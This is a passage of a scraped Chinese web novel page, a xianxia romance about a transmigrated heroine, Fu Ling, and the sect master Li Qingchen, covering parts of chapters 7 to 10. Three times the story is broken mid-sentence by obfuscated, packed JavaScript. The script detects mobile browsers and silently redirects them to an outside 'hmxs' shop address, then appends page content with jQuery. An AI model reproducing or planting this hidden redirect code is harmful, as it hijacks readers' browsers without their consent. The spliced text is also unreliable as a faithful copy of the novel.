l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834587|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,本以为能暗示裘双双帮自己离开,却她忘了李青尘已经是化境的大能,整个剑宗的动向都在他的掌控之中。 对方本就对她怀疑,如果刚才以为她有意逃跑,那么肯定借此机会碾死她。 不过比起自己的失误,她更震惊的是刚才裘双双面对李青尘的反应……恐怕面对妖王魔尊也不过如此。 她想到和裘双双的初遇,恍然间,物是人非…… ————— “你就是李青尘师弟新收的徒弟?” “……是,请问这位师姐是?” “什么师姐?我是你师伯……不,是师娘!” “啊?”傅灵惊讶地看向眼前这个明媚张扬、腰缠红鞭的女子。思忖了一瞬后,这才从原文里找出这么一个人物。 “你是……裘双双?” 进入剑宗后,她艰难地适应新生活。新的洞府就在李青尘洞府的不远,还未等她装修好自己的小山洞,就要投入修炼中去。 每天四点起床,去广场默念心法,五点去照顾灵兽,然后接着修炼,接着照顾灵兽。 她能照顾灵兽,自然是自己申请的。比起不能动的植物,能跑能跳的动物们至少不会让她那么孤单。 说是危险,只要她不去打扰它们,每日按时投喂铲屎也就没什么问题。 为了能起得来,她还不得不让系统给她播放振奋歌曲,大学生活都没有这么艰苦。 因此莫说是找李青尘了,连吃饭的时间都所剩无几。 累得昏天黑地的时候就被眼前的小姑娘找上了门。 她想到《天道一》里面的情节。剑宗里面确实有一个对李青尘执着的小姑娘,名叫裘双双。 裘双双本来看不上李青尘这等天赋一般、灵根一般的外门弟子,但一次外出历练被李青尘所救,因此便对其倾心。 因为这本书是不吃茄子大神的早期作品,因此感情线也很敷衍庸俗,小姑娘表达爱意的方式十分张扬,就遭到了爱慕她的大师兄庄天成的在意。 从那以后,庄天成就走上了针对李青尘——被打脸——算计李青尘——被杀死的不归路。 因此看裘双双找上她,傅灵的第一个反应就是看其身后,有没有庄天成那个偷窥狂在阴暗爬行。 裘双双没发现她的小眼神,欣喜于她的认出。 “你怎么认出我的?是……李师弟偷偷告诉你的?” “裘师伯如此活泼明艳,热情大方,弟子怎么会认不出?” 裘双双又失望又得意地“哦”了一声,“那……李师弟是否向你提过我?” “弟子进宗一个月,忙于修炼,见师尊的次数不超过三次……” 裘双双看她眼底青黑,又一脸真诚,难得没有为难,“那就是没来来得及提到我。现在认识也不迟,你记住,我日后是要当你师娘的。” 傅灵点了点头,施了一礼就想走。 莫说是师娘,现在能让她休息一会,就算是师祖她也认。 裘双双反而不放过她了,“你去哪里?是去见你师父?你见到他莫要提到此事,这事反正板上钉钉,说出来反而……” 傅灵叹口气,“裘师伯,我是要回洞府睡觉。” “啊?睡觉……睡觉好,我看你确实很累,不过你莫要忘了……” “小师妹!” 两人身后倏然传来低沉的呼唤,傅灵转身,暗道说曹操曹操就到。 “庄师兄!”裘双双撇了一下嘴,“你怎么过来了?” “新得一本功法,想来与你分享,没想到在弟子殿里找不到你。便来此地碰碰运气,没想到你还真在这里。” 裘双双揪了揪衣裙,这里是别缘峰附近…… 庄天成看向傅灵,“你是那个……那天李青尘收的弟子?” 傅灵慢吞吞地施礼,“师伯。” 辈分小真是让人牙疼。 庄天成意味不明地笑一笑,围着她一转,“不愧是李师弟的弟子,面色憔悴、脚底虚浮。进宗一月竟然没有半点长进。” 裘双双道:“大师兄,你怎么能这么说她?!” “我怎么说不得了?”庄天成倏然面色狰狞,“你听不得我说李青尘,难道一个记名弟子我都说不得?!难道你又看上了这个小弟子?” 傅灵:“……” 怎么回事,原文里李青尘被波及的剧情到她头上了? 她抬起头,还未来得及说话,两个人就吵起来了,庄天成直接要对她抬起手,“这个记名弟子见到我面带不敬,且修行懒散,这就是李青尘带出来的弟子?我这就代李师弟教训她!” 傅灵一惊,赶紧蹲下来,大喊:“两位师伯,我一个小小的记名弟子何德何能让二位为我争吵?我入门以来懈怠修行、饲养灵兽毫无建树。对不起师伯当初对我的提携,对不住裘师伯对我的维护,更对不住师尊对我的期望!” 她一口气说完,抬头眼角已有红痕,“当初师尊带我入宗,就叮嘱我要尊敬师长、努力修炼,我却再三犯错,连累他被人误会。这就去师尊那里请罪,闭关修炼,不达筑境绝不外出!” 裘双双和庄天成目瞪口呆地看着她,庄天成的掌风软了软,然而看到她的眼睛,倏然一怔。 这种眼神十分熟悉……看似退让,其实平静得可怕,仿佛灵魂高高在上地俯视着他,和她那个师父一模一样! “巧言令色、胡说八道!” 他一怒,掌风似钢如铁,带着冷硬煞气拍了下来。 正要按在面露惊慌的小弟子肩头,倏然背后一冷。 他收掌回身,看到李青尘手持藏书,站在树下面无表情地看着他。 8. 第八章 莫名地,庄天成全身发冷。 仿佛被看不见的剑芒指着全身,他被自己下意识的反应气得恼怒,回身冷笑: “李师弟,好巧啊。我正要替你教训这个不成器的弟子,你不会见怪吧?” 傅灵跌坐在地上,呼吸有些乱,但是也没看李青尘,而是拍了拍屁股上的灰,默不作声地站着。 李青尘持着书本走来。灵书阁里的秘籍大多被封在玉牌里,而有些上古秘籍却是无法被玉牌复制,因此只能靠修士亲手搬运。 “灵书阁的上古秘籍要被搬运到古书阁,需要大量细心的弟子帮忙。一些师兄师姐已经出发了,弟子还不够。我特意向师父禀明,灵兽园的傅灵照顾灵兽最为细心,每日定时完成任务,绝不打扰灵兽,她的兽园最为平和——因此她现在就要去灵书阁帮忙。” 所有人一愣。 傅灵缓缓抬起了头。 李青尘他竟然……知道她这一个月干了什么。 “莫要发愣,随我走。” 李青尘从庄天成身边穿过,竟然是对庄天成视而不见。 庄天成的眼角一跳,倏然转身,“李青尘,你装什么……” 话音未落,一掌按在古书上,上古秘籍的封印大多是宗内长老印下,庄天成立刻就被弹飞了出去。 裘双双惊叫一声,上前扶起他:“大师兄!” 李青尘脚步不停,傅灵一步三回头地跟了上去。 去古书阁的路上,傅灵一肚子的话梗在喉口,看李青尘面色素白,眼神平静,于是先叹了口气。 “师尊,你放心。以后若是有人追求我,我定然不会当着他的面说你的好话!” 李青尘的脚步一顿,没出声。 傅灵接着说,“我怕对方嫉妒,对你下手。” 李青尘:“……” 傅灵坚定:“日后我也会谨言慎行,不给你添麻烦。任何对我感情的萌芽都将会被我扼杀在摇篮之中!” 李青尘:“……不必有这种烦恼。” 微一垂眸,见傅灵面带难色,又补充,“我只是一个普通的外门弟子罢了。” 傅灵一笑,“是,我知道你普通。但在弟子眼里,再‘普通’的师尊也是特别的啊……” 李青尘的眼角微微瞠大了一瞬,他看着她的眼睛,缓缓收回视线。 “庄天成说得对,你修炼懈怠,完成任务后更需清心寡欲,一心向道……” 傅灵敷衍地点头,暗道她可没有拍马屁。在她心里李青尘是杀伐果断的,也是温和讲理的。 刚才他已经网开一面了,如果他真想杀了庄天成,完全可以将古籍拍在对方脸上。 只可惜庄天成不领情,日后还要搞事。 唉……她很希望所有人都看到李青尘的好,看得到对方的强大和善良。 如果转眼就到一百年后,李青尘成为宗主,温和又不失疏离,受万人崇敬的时刻就好了…… 傅灵骤然睁开眼,掌心下的石桌让她恍惚地想起,她刚才竟然做了个梦。 怎么又梦到以前了…… 她深深地吸口气,看到洞外是一片昏暗,洞内却还有莹莹光辉。原来已经到晚上了。 四周还是一点声响都没有,她扶着石桌站起来,想到这几日的战战兢兢,装模作样,一朝想要搞事就被李青尘撞上,就不由得好笑。 一百年前在这个洞府里肆意打滚的傅灵,可想过会有连睡觉时都不敢躺下的一日? 明明是温暖光辉的洞府,她却打了个冷颤。她闷咳了两声,只觉得呼吸都带着一丝灼热,便也不管不顾了,扶着沿途的摆设,径直向深处的玉床走去。 那床在莹辉下更显莹白,傅灵走到近处,便也觉得当个瞎子也挺好,冰冷的玉床在扭曲的视线里也能变成柔软的席梦思。 她勉强勾了一下嘴角,就轻飘飘地向前坠去。 但迎接她的不是冰冷的石面,而是流水一般的温凉。 两臂倏然一紧,像是被铁钳桎梏住,她的身体就像是被枝丫勾住的白绸弯在半空中。 她的唇瓣也似贴到了光滑的玉石上,鼻端嗅到了一点积雪的冷意。倏然打了个冷颤,勉强抬起头对上了一双云山雾罩的眼。 这双眼睛今天白天还在高空中冷冷地俯视她,现在却近在咫尺地看着她,浓墨般的瞳孔将她的惊慌钉在眼底。 “李……宗主。”傅灵的牙关一紧,下意识地要站起来。但她两眼昏花,手脚无力,“砰”地一声撞在了石柱上。 似乎有灵植在身后摇摇欲坠。 她闷哼了一声,眼角的余光看到一截长袖扬起,似乎有苍白的指尖伸出,她立刻想到对方前几天对付她的招数,瞬间动也不敢动。 片刻,身后没有发出声响,灵植保住了。洞府内只有她自己后怕的喘息声。 她等着对方责难,但却只能感受到安静。 如果不是白色的身影在她的眼底跳跃,她还以为李青尘根本不在眼前。 明明都好几天不出现了,为什么突然要回来?回来就回来,为什么要换成白衣服,害得她看不见…… “宗主,您为何会在……”她说到一半,真觉得自己昏了头了。这里是李青尘的洞府,他不在这里还会在哪里? 反而是她,将这里当成了自己家要睡在别人的床上,被人抓个正着。 “宗主,我不知道您回来休息,不小心冲撞了您,请恕罪……” 李青尘抬手,一颗明珠立刻飞到他的掌心,然后缓缓向她靠近。 傅灵花白的视线立刻就出现了扭曲的光亮。 “上次你我相隔数尺,你尚能认出我,如今近在咫尺,你却毫无反应?” 李青尘起身,一步步靠近。那双黑沉瞳孔一动不动,似乎成了扭曲世界里唯一不变的锚点。 这是在……试探她的眼疾吗? 有什么好试探的,她又不是装瞎对他投怀送抱,想勾引他也要等他躺平吧…… 傅灵被蒸腾的思绪开始变得混乱,更何况她的眼疾是真的,从娘胎里带来的,这些仙人就算把她的眼睛挖出来,她也是个瞎子…… 她垂眸避开了对方的视线,笑了笑: “初见宗主就慑于您的威仪,即便不靠近也能认出您的身姿。如今几日过去,发现是我误会了您。您并未责罚我,还赐我衣食,在我心中如父母般亲切……我自然,认不出。” “亲如父母……你那非打即骂的父母旁人自是难以企及。既然你对我亲近,我也可以还你再造之恩。这双眼睛……不能视人,我便为你治疗,免得你为此再次冲撞了旁人。” 话音一落,他的白袖垂落,苍白的指尖隐约露出光亮。 傅灵一惊,她的眼睛没有问题,有问题的是她的灵魂。万一被李青尘发现了猫腻该怎么办? 她立刻侧头,急急地道:“宗主不必麻烦,我这眼睛……治不好的。看了多少大夫都没用。” “仙法和医术自是不同。” “仙法也……不能无中生有!我的眼睛先天不足,缺了血肉。就不劳烦宗主浪费灵力了!” 洞内静默了一瞬,片刻,只听李青尘道: “那便……只能给你换一双眼睛了。” “轰”的一声,似乎有巨浪将她的神智翻覆,傅灵的脑袋开始嗡鸣。李青尘刚才说什么,要换掉她的眼睛?! 果然不是为了治病,而是为了试探。试探她这幅身体是真是假,试探她在剧痛之下会不会说出真话…… 傅灵的心脏沉到谷底,下意识地想要喊系统出来,但呼喊在舌尖堪堪停住。 她又忘了,系统不在。她现在只能靠自己了…… “莫怕,我出手不会疼。” 李青尘的声音沉稳如水,指尖缓缓抬起,如一抹新雪轻轻地落在她的眼角。 一瞬间,那点冰凉直接延伸到她的心底。 傅灵的胸口剧烈起伏着,像是抽动的风箱。她闭了闭眼,突然抬起手推开对方。 “我不用你治!” 这一声带着嘶哑,像是骤然打破平静,只余她的回声。 她只有凡人半分的力气,却让李青尘踉跄了一下。 傅灵顾不得许多,她喊完,便瘫坐在地上,眼前一片朦胧。 此时只觉得脑海中翻涌的热浪席卷了全身,先是冲刷着她的经脉,再撞击着她的心脏,最后从她的眼角涌了出来。 她没想到自己竟然会推了李青尘,一会会死吗?还是会被对方再次碾碎灵魂? 她似哭似笑,但这一瞬,她不想再顾忌什么了。 “换了眼睛看得清又有什么用,我能看到的只不过是洞口一隅罢了!” 她抬起头,看到李青尘站在她的面前,长身玉立,气息近无,如同静默的神像。 在杂乱的光辉中,对方的表情也变得模糊了,不过以对方的性格,此时恐怕也没什么表情。 “你明知道我接近剑宗的长老想要出去,却对此事半点不提。明明回来就是为了审问我,却要当什么‘再生父母’,是不是试探我很有意思?这几天,宗主可是查明了真相?我是妖,还是魔?” 她抬起下巴,感觉有液体流进了脖颈,“妖如我这般软弱吗,魔有我这般残缺吗?是,我是想要出去,我是不像表面上那么恭敬。你觉得给我衣食,不让我受刑我便会感恩戴德了吗?错了!其实我一点都不喜欢这里!” 她的声音近乎嘶哑,但还是继续说:“你以为这个破地方很好吗?鼻孔朝天的弟子、莫名其妙的长老、还有……高高在上的一宗之主。犯了一点错误就要被关到牢里去。只要触怒了你,要么就长跪不起,要么就要承受上位的威压……这里冷冰冰得可怕,一点也不像凡人向往的修仙圣地。” 洞内寂静无声,周围的光辉暗了一瞬。 傅灵在模糊中听到了衣物磨擦的声,李青尘的声音也像是藏在了夜色里,晦暗低沉。 “你怕我?” “怎么不怕?”傅灵勉强笑了笑,“您是一宗之主,一个眼神就能让人生不如死,一句话就能让修士战战兢兢,我只是一个凡人罢了。” 说着说着,她的声音低了下去,“我能做什么?我只有这条命。本以为到剑宗能解除误会,没想到会身陷囹圄。若是被你关到死,还不如当初一头撞死在你们的剑宗石碑上好。” 话音一落,她倏然觉得浑身发冷。 像是隐隐的晦暗意念爬满了整个洞府,山壁和灵植都发出了无声的嘶叫和哀鸣。 半晌,李青尘道: “剑宗的石碑已被我削去一半,不可再被你染红了。” 他起身,拂袖消失。 傅灵只觉得轻薄的衣物在她的眼前一扫,似有一点积雪蹭过她的下巴,在她回过神前,那点冷意就消失了。 她看着空荡荡的洞口,下意识地摸了摸自己的下巴,只能摸到一手的湿漉。 她怕李青尘再回来,不敢再睡。但抱着手臂时,也迷迷糊糊地进入了梦乡。 第二天一早,傅灵睁开眼就看到镶嵌在头顶的明珠。 感觉到身下不同于石凳的触感,她一瞬间就坐了起来。 她怎么躺在李青尘的床上,难道是半夜昏了头吗? 【别害怕,李青尘不在这里。】 “系统……” 有系统在,傅灵放松了不少。但她还是站了起来。 昨夜莫名发了热,许是睡了一觉精神好了不少。 她意味不明地将视线从石床上收了回来。 “系统,我以为你会一直装死。” 【我不会放着你不管,总会找机会上线。】 傅灵想跟它说昨夜发生的事,想了想还是全都吞下去了。她摸索着坐回到石凳上。 “昨日我刚找到出去的突破口,但是被李青尘发现了。现在只能想办法强行破开这个禁制,但一时半……” 话音未落,她倏然看向洞口。 虽然她看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834588|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到、听不清,但对周围的感知更为敏感。今天洞外拂进来的空气格外地凉。 她试探地迈出一步,一瞬间,阳光洒在了她的脸上。 剑宗凛然的灵气和远处弟子飞剑破空的声音都悉数撞在了她的胸口,傅灵不可思议地伸出手。 她竟然……出来了。 “系统,我出来了……” 【是禁制失效了?】 “不可能,李青尘的法力不会失效。” 【那就是李青尘撤回了禁制,宿主是怎么办到的?】 傅灵想到昨晚,下意识地摸了一下眼睛,“我暗示裘双双,应该是她帮我说了好话,放我出来。” 【果真如此吗?宿主昨夜和李青尘还说了什么?】 傅灵喉咙一动,“我不愿说,不是为了别的,是不愿你担心。我昨夜以命威胁他,他堂堂一个化境大能,不会为了一个凡人违背天道,徒生心魔的。所以才会网开一面。” 【原来如此,宿主还是要小心。】 她勉强一笑,其实她省去了自己昨晚的又哭又闹的事。昨天的恐惧和愤怒半真半假,一半是试探一半是真心。她只是没想到自己真的能逃过一劫。 还出了洞府。 更让她震惊的是,片刻几个送物品的小弟子过来,告诉她李青尘已经离开剑宗了。 傅灵倏然一愣。 ———— 夜色如阴云缓缓笼罩整个剑宗。 议事堂内,李青尘坐在主位。眸光沉静,带着一身峰顶的凉。 几位长老坐在下位,面带恭敬,眼神游移。不知宗主深夜召集他们来此,所为何事。 且看宗主似急匆而来,金袍微散。往日面色平静,却余威冰冷,让人不敢逼视。今晚却眉宇沉郁,周身似潮寒凉。 李青尘道:“我需离宗七日。” 所有人一愣,“宗主,您不是刚回来不久。可是又发现了什么秘境,还是因为妖族魔类作乱?我等可……” 李青尘抬起手,屋内霎时安静。他道: “一己之事,不牢各位费神。我离开后,宗内事物照常由秦钟处理。尔等需谨记,严明法纪,勿让任何人靠近别缘峰,有任何事只等我回来处理。” 秦钟一拜,更是不明。只有一直神思不属的裘双双眉头一跳。 李青尘放下手,指尖落在袖口。微微一捻,似乎能触到上面的潮湿。 他道:“我只有这一条戒律,请各位牢记,若有违规者,罪无可恕。” 话落,如同碎星散雪,骤然消失。 室内恢复安静,众人一头雾水。 宗主因为私事,还要离宗七日。宗主双亲亡故,正阳真人又早已仙逝,且他百年来独身一身,有何“私事”值得他离开得如此匆忙? 又再三下令,任何人不得靠近别缘峰。 这倒是怪了…… “裘师姐。”郭昆对裘双双拱了拱手,对于这位当年和宗主关系较好的师妹,他认为能问出些东西。 裘双双回神,马上道:“莫要问我,我什么都不知。” 郭昆一笑,转移话题,“庄师兄还未出关吗?” 裘双双赧然,她收敛神色,无奈摇头:“你知道他现在……身体特殊,没有大事轻易不见人。这次和他寻找邪修回来,就再也没见过他一面。” 郭昆叹口气,又道:“既然宗主不在,你也帮着那两个弟子向秦师兄求求情,放他们出来吧。” 裘双双看了离开的背影,低声道:“我倒是想求情,只可惜宗主一走,秦钟恐怕会更为严格,方能彰显他的公正。” 郭昆苦笑,“罢了,等宗主回来再说吧。我只是不明白,为何让所有弟子都不能靠近别缘峰,就连长老都不许。若说是为了那个凡女我却是不信的,难道是因为在里面藏着上古的珍宝?” 他说得随意,裘双双却是面色一变,她下意识地想到那双平静的眼,心中不安如同烈火烧灼,烧得她刚伤过的胸口都在疼。 她勉强提了一下嘴角。 “谁知道呢,宗主的心思从来都没有人猜透过……” 罢了,也许只是她的胡乱猜测。 傅灵看着远处大亮的天空拧眉。 她不语,几个小弟子以为她忧心暂时不能离宗一事,几天接触下来只觉她平和安静,并非秦长老说的那般可怕,因此解释道: “宗主下令,凌姑娘可以出洞府,但不能出别缘峰。他七日便可回来。宗主的行踪一向无人敢问,但是这次我们私下都在猜,宗主是不是为了人妖边界一事。” 另一弟子皱眉: “人妖边界常年有妖族作乱,这等小事怎能劳烦宗主亲自出手?” “这并非是我胡说八道,宗内的人都在猜。人妖边界千年前就已定下,且立下契约,擅闯者格杀勿论。两族都恪守这个铁律,直到百年前新妖王出现……” “我知道!那个妖王实在太过狡诈!百年来他不断推扩边界,仗着契约明目张胆不知杀了多少修士!特别是水灵根的修士,听说被他抓到的就没有不形魂俱灭的……宗主这次离开,恐怕就是为了和其它宗门商议此事。” 听到“妖王”两个字,傅灵灰暗的瞳孔里像是被石子投出涟漪。 她闭了一下眼,最终还是什么都没有问。 “多谢几位仙人。” “姑娘客气。” 小弟子们离开后,傅灵就坐在门口,仰头看着太阳。 洞府外的风真的很凉,吹得她摇摇欲坠,这里也安静得可怕,没有灵植舒展叶脉的声响,也没有微尘飘在暖阳下的落絮声。 李青尘走了,她是不信对方会为了抓她的把柄欲擒故纵的,那就只能是为了妖族的事。 走得正好,她也能少些麻烦。趁此机会找到自己的洞府,她就能回家了。 想到对方回来后发现人去峰空的样子,她就不由得想笑。 “哈哈,系统……我终于要和这个世界说再见了。” 9. 第九章 傅灵的眼睛现在只能算得上是半瞎,再加上身体孱弱,在温暖如春的洞府内还能发烧,更何况是寒气剑气交织的山峰。 因此她并没有急着出去,而是精心准备。 前三天,她就在洞口耐心等待,确定那几个小弟子除了送食物之外的时间不会再上山,才松了一口气。 第四天晚上,她仔细搜寻了洞府内的物品。在李青尘存放古籍的书架上找到一个小花瓶。她晃了晃,装水正好。 又挽了头发,换了衣衫,拿了一些吃食走出了洞府。离开之前,她莫名多看了一眼书架的方向,那点温和的荧光化作丝线扯住了她的心脏。 “我是昏了头么,又不是舍不得……” 傅灵失笑,归咎于自己被关傻了。 她握着从洞口找到的木棍,在夜色降临时下山。 别缘峰峰顶承着缚仙台,本为威慑剑宗弟子,因此虽远离剑宗大殿,却峰高入云,通览全宗。 她自己的洞府离李青尘的不远,但前世的她御剑飞行尚且要一盏茶的时间,更何况是现在要用两条腿。 傅灵做好长期作战的准备,她扶着树干,小心又再小心地走在山路上。有上辈子模糊的记忆,还有系统的指导,她走得不算太艰难。 “系统,我马上就要成功了,你怎么不说话?” 她用木棍扒拉走挡路的碎石,喘了一口气。 “是舍不得我吗?其实我也舍不得你……不过不用再帮我寻找残魂,你应该轻松不少,我也终于不用麻烦你了。” 【前面还有一截断裂树根,你要绕过去。】 傅灵点了一下头,看起来毫不担心,“等我回去后,我一定要好好尝尝现代的食物,再睡上三天三夜……你呢?你干什么去,是去找下一个宿主,还是想休个……” 话音未落,她倏然被草丛中扑出来的老鼠吓了一跳,踉跄地倒地。 这一下系统都没有反应过来。 【小心!!】 【有没有受伤?哪里疼?】 傅灵摇头,她用手臂遮住眼睛,倏然安静了下来。 夜风在丛林中呼啸,远处灵兽发出压抑的低吼,杀气如同剑芒从峰顶蜂拥而出,刺得叶脉颤动着。 傅灵摸了一下被刮伤的腿,但指尖僵硬地伸出,分不清和夜色哪一个更凉。 她干脆放下手,看着天空中糊成一团的弯月。 “没事。”她说。 其实她对自己的洞府已经没有多少印象了,反倒对第一次离开洞府时的情形印象深刻。 当时她入宗已久,却没多少机会和李青尘说上话,系统催着她做任务。 终于等到宗门历练,那是一次原著的节点,她意识到能和李青尘一起离开剑宗。 于是撒着欢回到自己的洞府收拾东西,当时的她有想过,有朝一日她会找不到回去的路吗? ———— 在剑宗几个月,终于得到能和李青尘共同出去的机会,她几乎是冲回了洞府。 系统嘲笑她东西带得多。 “我知道你着急,但是攻略又不差在这一刻。我记得这一段秘境的剧情茄子大神写了能有……三十章。李青尘在里面得到了修炼前阶段最重要的秘籍——鎏光诀,又重创了混进去的妖族,杀死了借刀杀人的庄天成,一套流程下来得……三个月吧。” 她算了算,又把收集到的所有武器都放了进去。偌大的洞府内就不剩什么了。和被她装扮得仿佛世外桃源的李青尘的洞府相比,她的就像是战后基地。 “那么长的时间,我现在只是一个气境的修士,连辟谷都没学会,如果不准备充足,死在半路那该怎么办?” 最重要的是,只有自己照顾好自己,才能不拖李青尘的后腿。 【……】 系统知道她怎么说都有理由,便也不再多话。 洞府外有人呼喊,她急匆匆地冲了出去。这次离宗,是为了参加三十年一次的焚天秘境。 传说秘境里藏着大量灵植和宝物,所有宗门丹境以下的弟子都可以参加。这种在秘境里杀戮争夺的情节是多少小说都写不厌的戏码,因此傅灵虽然嘴上说得轻松,但也深知危险。 剑宗里一共去了二十人,包括庄天成、裘双双、方向灵,还有李青尘等。 她闷头飞了出去,看到浮在剑宗巨门前的那个熟悉身影,忐忑的心终于定了下来,有师尊在,她怕什么? 李青尘换了一身劲装。黑衣缚身,回眸时目光平静,恍若晨曦时最后一抹沉寂的夜色。 “东西都带好了吗?” 傅灵点头,“师尊,你呢?” “为防受伤,略略带些丹药。” 傅灵偷偷撇了一下嘴。暗道她可知道他那个储物袋里藏着大量毁天灭地,摧枯拉朽的宝贝。莫说是坚持三个月,就算是住上一年都够了。 正巧正阳真人踏鹤而来,他笑眯眯地捧着肚子,对着自己的几个弟子勉励。 傅灵赶紧跟着李青尘排在队伍最后。正阳真人在宗门里最是闲散不过,几个弟子也是如此,深知此次出去是打个酱油,便也左耳进右耳出。 她偷看李青尘凝神倾听的模样,李青尘倏然侧目: “静心。” 远处,裘双双看着两个人对视,不由得跺了一下脚。 “原来当徒弟就能和李师弟说上话……那我现在就当傅灵的师妹还晚不晚?不行不行,我是要当她师娘的啊!” 听她嘀咕,庄天成不由得冷笑。 傅灵知道庄天成肯定要搞事,因此她决定这次要紧跟着李青尘,一是为了保命,二是为了保护对方……反正不知道谁保护谁,她和李青尘在秘境里相依为命就对了。 但她没想到,等她进入秘境后就和李青尘失散了。 等她灰头土脸地坐起来,发现周围是一片幽暗的丛林,不由得一惊。 她刚喊了一句:“师尊?!李青尘!!” 远处就传来一声兽鸣,惊得草叶都在扑簌簌颤动,她下意识地捂住了嘴。 就这样,傅灵战战兢兢地开启了自己的秘境生活。 这里果真如同原著所说,到处是危险,三步一个食人花,五步一只嗜血狼。 她刚入宗不久,还没学会什么强劲功法,只是对一些阵法感兴趣。勉强用自己胡乱学的“绝灵阵”锁住自己的灵气隐藏身形,但还会被躲在暗处的灵蛇毒蛛吓得哭出了声。 再加上有时候眼睁睁地看着自己面前死了人,她更是哭都哭不出声。这才明白书上写的“残肢断臂”、“血腥漫天”在眼前实现是有多么骇人。 有时候她想直接在秘境边缘等着李青尘算了,但莫名的冲动让她一直向深处走去。 每当坚持不下去的时候,她就让系统给她放振奋曲。 一边唱着“从来都没有什么救世主,也不靠神仙皇帝,要创造人类的幸福,全靠我们自己!”一边哆哆嗦嗦前进着。 【以宿主的速度找下去,恐怕秘境关闭时也见不到男主。】 “我已经很快了!”傅灵咬牙嘀咕,“比起那些死得凄惨的修士,我能活着就已经是胜利了。我还没有怪你,你一个攻略系统只会发布任务和唱唱歌!你倒是给我一个工具啊……新手大礼包都没有!” 【……我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834589|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个质朴的系统。】 傅灵呵呵了一声,她环顾周围。按照原著的进度,李青尘应该已经过了那片幽林,来到了这座山峰周围。 这里到处都是禁制一不小心就…… “啊!” 傅灵只是迈出了一步,就像是掉入了无底深渊。好在她堪堪学会运转灵力才没被摔死。 她晕头转向地从地面起来,抬头发现自己掉入了一个昏暗的甬道。 这甬道十分狭长,看不清尽头。她捂着胸口闷咳了几声,然后倏然想到什么,起身敲了敲四周的石砖。 “系统,这是、这是……原文中关了李青尘一个月的‘石中城’?” 在原文里,李青尘一路避开了各路修士,来到峰顶摘取千年灵芝,没想到灵芝下就是机关,他坠入了这座石中城。 这座藏在山峰里的地宫是上古大能仙逝前铸造的坟墓,里面留下大量的功法秘籍,但是想要得到就必须经历重重考验。 藏在暗处的嗜血灵兽不算什么,堪比丹境修士的傀儡人更不算什么,最厉害的是这里的一处机关。 无论是气境的修士还是丹境的大佬,只要进入一间密室里就会陷入幻觉。 然后这些人就会被内心深处最恐惧的噩梦或是最渴望的美梦所困,最后心魔暗生身死道消。 李青尘身负血海深仇,此生最恐惧的就是回到被灭门屠谷的那一日,因此在这个幻境里苦苦支撑了一个月。 最后以报仇的执念冲破梦魇,得到了前辈留给他的《鎏光诀》。 如今傅灵进入副本的时间已经过半,算了算日子李青尘应该就在这个石中城里。只是那个密室位置不定,她难道要一间一间地找吗? ……算了,还是找吧。 傅灵擦了擦脸上的灰,看着破烂的袖口叹了口气。她都从外面找到山里来了,还能放弃吗? 再说万一找不到,在这里当个地缚灵,也比在外面当野人好。 这么想着,她刚迈出一步,脚下倏然一荡。如同踏入平静的溪流,余波层层叠叠,映出另一番天地来。 晦暗褪色,砖石消散,眼前不再是逼仄的狭长甬道,而是绿草茵茵、阳光和煦,水声潺潺的世外桃源! 傅灵倒吸一口凉气。 “系统,根本不需要寻找密室,原来我现在就在密室里!” 【宿主小心。】 傅灵的胸口急促起伏着,她也不知道自己这是幸还是不幸。不过反应过来后她也很好奇,这个秘境针对她的幻觉是什么? 要说噩梦,肯定是在这个世界出不去,要说美梦,肯定就是回到现实世界。 但她怎么会到息这么一个平和的地方,她的志向又不是陶渊明…… 然而下一秒,她的呼吸屏住了,她确定这是个美梦。 因为不远处的柳树下,躺着一个修长的身影。 柳枝依依,如同素锦拂花,牵着傅灵的视线向地面上的人荡去。 那人沉静睡着,指尖落入溪水。 她直勾勾地走近,视线里看到对方的黑色布料被小溪的水润湿,像是潮冷轻飘的阴云。 她跪坐在对方的旁边,看到他松散的领口露出白色的脖颈,纤长白皙如同石壁之间的湍流。 她瞪大眼睛看着对方的眉眼,本来浓墨般的眉目轻闭着,像是最平和也最惊艳不过的工笔。 “啊……” 傅灵终于学会了喘气,但是她此时也几乎呼吸过度了,根本听不见系统的提醒。 她只能捂住涨红的脸,发出呻吟: “天呐系统,这太罪恶了。我怎么会梦到这个……” 10. 第十章 在《天道一》里,主角李青尘也并非一帆风顺,他也有受伤的时候。 在原著的前期,他越级斩杀抢夺他法宝的丹境后期高手,虽然对方身死道消,但他也身受重伤,倒在树下昏迷不醒。 当时就有很多读者哇哇叫着要“捡尸”,还要趁着他不能动的时候…… 傅灵看了评论嗤之以鼻,这种眼里只有低级趣味读者的根本算不上死忠粉! 然而现在她眼前就躺着一个衣衫不整、毫无反应的李青尘。 她开始怀疑自己,难道是这个幻境看透了她内心的阴暗,还是她在不知什么时候觉醒了深层的属性? 她深吸一口气,决定以绿色阅读软件的审核标准严格要求自己的道德标准。只是刚想把对方的领口拉好,指尖碰到布料倏然一顿。 虽然、虽然她是一个脱离了低级趣味的读者,但是那都是在“梦想成真”的基础上的。 